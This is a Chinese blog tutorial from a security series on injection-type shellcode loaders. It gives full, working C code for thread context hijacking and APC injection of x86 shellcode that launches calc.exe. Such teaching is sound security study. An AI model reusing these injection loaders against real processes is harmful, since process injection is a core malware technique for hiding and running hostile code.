在上一篇【Day 18】Shellcode 与他的快乐夥伴 (上) - Shellcode Loader 我们认识 Shellcode Loader 的用途,也讲了几个载入型的 Shellcode Loader,最後也提到这一篇会介绍几个注入型的 Shellcode Loader。
载入与注入的差别在於载入型的 Shellcode Loader 是在当前 Process 载入并执行 Shellcode;而注入型的 Shellcode Loader 则是可以把要执行的 Shellcode 注入到其他 Process。
Snapshot 可以用来取得目前所在的 Process、Thread、Module、Heap,就像是对目前系统做快照。使用 CreateToolhelp32Snapshot 可以建立 Snapshot,然後就可以根据自己想要的资讯去使用它,不过权限是 Read Only。
例如我想取得 Thread 的资讯,可以呼叫 Thread32First 取得 Snapshot 中第一个 Thread,然後用 Thread32Next 取得下一个 Thread 的资讯。
每个 Thread 都有各自的 Context 结构,不同的 Processor 也会有不同的 Context 结构。Context 中放的是一些暂存器的资讯,CPU 在执行程序时会用到它们。在程序中可以透过 GetThreadContext 取得目标 Thread Context,还有用 SetThreadContext 设定目标 Thread Context。
Context 中包含 Instruction Pointer,在 32-bit 使用 EIP,在 64-bit 使用 RIP,代表目前正要执行的程序位址。在【Day 16】从一开始的 Anti-Debug 生活 - Anti-Debug 中我们也有用到 Context 结构做 Anti-Debug,不过那时候是看暂存器 DR0~DR3,检查有没有使用 Hardware Breakpoint。
我们能使用 Snapshot 取得目标 Thread,又可以取得与设定 Thread Context,那就可以把目标 Thread 的 Instruction Pointer 改到我们的 Shellcode 执行。
注意在设定 Context 前,如果要让 Process 在 Shellcode 执行完後不坏掉的话,要先用 SuspendThread 让它变 Suspended Thread,在改完 Context 之後再用 ResumeThread 回复执行。因为我们的 Shellcode 最後是 ret
,而我们是直接改 EIP,所以没有 SuspendThread 的话,再执行 ret
时会跳到不是原本的位址或是不能执行的位址。但是假如只是想要执行 Shellcode,不用这两行也可以。
另外执行 ResumeThread 後也不是马上就开始执行,只是 Thread 的 Suspend Count 会减少,当减少为零时才会开始执行,所以实际测试时要等一下。
程序专案可以参考我的 GitHub zeze-zeze/2021iThome。
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
int main()
{
char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x24\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x44\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";
// 1. 取得目标 Process ID,因为是 x86 Shellcode,所以要找 32-bit Process
// 不能用自己这个 Process,不然後面 SuspendThread 会卡住自己
DWORD targetPID = 3776;
HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
// 2. 开启目标 Process,申请一块记忆体後把 Shellcode 写入目标 Process
PVOID remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
// 3. 建立 Snapshot,取得 Process 与 Thread 的资讯
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
// 4. 回圈跑过所有的 Thread,并筛选出目标 Process 中的 Thread
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
Thread32First(snapshot, &threadEntry);
while (Thread32Next(snapshot, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == targetPID)
{
// 5. 开启目标 Thread,将状态改为 Suspended
HANDLE threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
SuspendThread(threadHijacked);
// 6. 修改 Context 中的 EIP,改成我们的 Shellcode 位址
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(threadHijacked, &context);
context.Eip = (DWORD_PTR)remoteBuffer;
SetThreadContext(threadHijacked, &context);
// 7. 让 Thread 回复执行
ResumeThread(threadHijacked);
}
}
}
APC,全名 Asynchronous Procedure Call,是用来做非同步处理的。每个 Thread 都有一个 APC Queue,当目前这个 Thread 进入 Alertable 状态时,会呼叫 APC Queue 中的每个 APC Function。Thread 可以透过呼叫 SleepEx、 SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 之类的等待函数进入 Alertable 状态。
程序中可以透过 QueueUserAPC 把 APC 排进目标 Thread 的 APC Queue,其中第一个参数可以设定它的 APC Function,第二个参数可以设定目标 Thread。
既然我们知道 Thread 进入 Alertable 状态时会执行 APC Function,那就可以在目标 Thread 排进一个 APC,设定它的 APC Function 为我们的 Shellcode。如此一来,当目标 Thread 进入 Alertable 状态时就会执行 Shellcode。
程序专案可以参考我的 GitHub zeze-zeze/2021iThome
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
int main()
{
char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x26\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x46\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";
// 1. 取得目标 Process ID,因为是 x86 Shellcode,所以要找 32-bit Process,这边用当前的 Process 代替
DWORD pid = GetCurrentProcessId();
// 2. 开启目标 Process,申请一块记忆体後把 Shellcode 写入目标 Process
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(victimProcess, shellAddress, shellcode, sizeof(shellcode), NULL);
// 3. 建立 Process、Thread 快照,回圈跑过所有 Thread,列举所有在目标 Process 中的 Thread ID
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (Thread32First(snapshot, &threadEntry))
{
do {
if (threadEntry.th32OwnerProcessID == pid)
{
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
// 4. 回圈跑过所有目标 Process 中的 Thread,呼叫 QueueUserAPC 并把 APC Function 设为我们的 Shellcode
for (DWORD threadId : threadIds)
{
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL);
}
// 5. 呼叫 Sleep 让当前的 Thread 进入 Alertable 状态
Sleep(1000);
return 0;
}
还有其他的注入型 Shellcode Loader 可以点选参考资料玩玩看。
<<: 30天学习笔记 -day 19-viewpager动画(PageTransformer )
>>: [Day 19] 还是学不会,再缩小一点 ~ (学习率衰减)
今天讲一下Cube.js在後端是如何设定与资料库连线,以及如何在後端启动Cube.js Server...
如标题,今天想和大家聊聊权限这东西 权限在Linux是个非常非常重要的东西,如果你一直被termin...
其实在 Ruby 的世界里常数(constant)和变数(variable)两者的差别并不大! 他...
什麽是 Facade Pattern? 实作不依赖多个类别,而是依赖介面,并把这些类别实作在此介面 ...
安装 Exposed 框架完成之後,再来我们要和资料库进行串接。 首先我们将原本的 main(){}...